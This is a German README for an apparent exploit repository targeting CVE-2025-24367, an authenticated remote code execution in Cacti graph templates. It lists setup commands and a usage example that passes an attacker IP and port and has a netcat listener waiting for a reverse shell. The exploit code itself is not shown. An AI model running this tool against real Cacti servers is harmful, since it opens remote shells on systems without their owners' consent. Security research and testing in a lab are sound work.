CVE-2025-24367 - Cacti Authentifizierte Graph-Vorlage RCE

Verwendung & Sicherheit

Wichtig — Lesen Sie dies zuerst:
Dieses Repository und exploit.py werden nur zu Bildungs- und Forschungszwecken bereitgestellt. Verwenden Sie diesen Code nicht gegen Systeme, Netzwerke oder Dienste, für die Sie keine ausdrückliche, schriftliche Genehmigung haben. Unautorisierter Zugriff auf Computersysteme ist illegal und unethisch. Durch die Nutzung dieses Codes erklären Sie sich damit einverstanden, die geltenden Gesetze und institutionellen Richtlinien einzuhalten.

Voraussetzungen

• Python 3.8+

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Verwendung

python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]

Beispiel

Stellen Sie vor dem Ausführen des Skripts sicher, dass ein nc-Listener läuft. Führen Sie das Skript ohne Proxy aus, es sei denn, Sie debuggen:

python3 exploit.py \
  -u testuser \
  -p Welcome1 \
  -i 192.168.43.11 \
  -l 4444 \
  -url http://localhost

SEHR WICHTIGE WARNHINWEISE

• Führen Sie dies nicht gegen Produktionssysteme oder Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
• Holen Sie vor der Durchführung von Sicherheitstests immer eine schriftliche Genehmigung ein.
• Verwenden Sie für Experimente isolierte Laborumgebungen (z. B. VMs, Container oder speziell aufgebaute Testnetzwerke).
• Ihre Organisation verfügt möglicherweise über Richtlinien für Meldung und Offenlegung — befolgen Sie diese.
• Die Autoren übernehmen keine Verantwortung für Missbrauch dieses Codes.

Abschließende Erinnerung: Dieses Skript und die README dienen nur zu Bildungszwecken. Verwenden Sie diese Tools niemals, um unrechtmäßig auf Systeme zuzugreifen.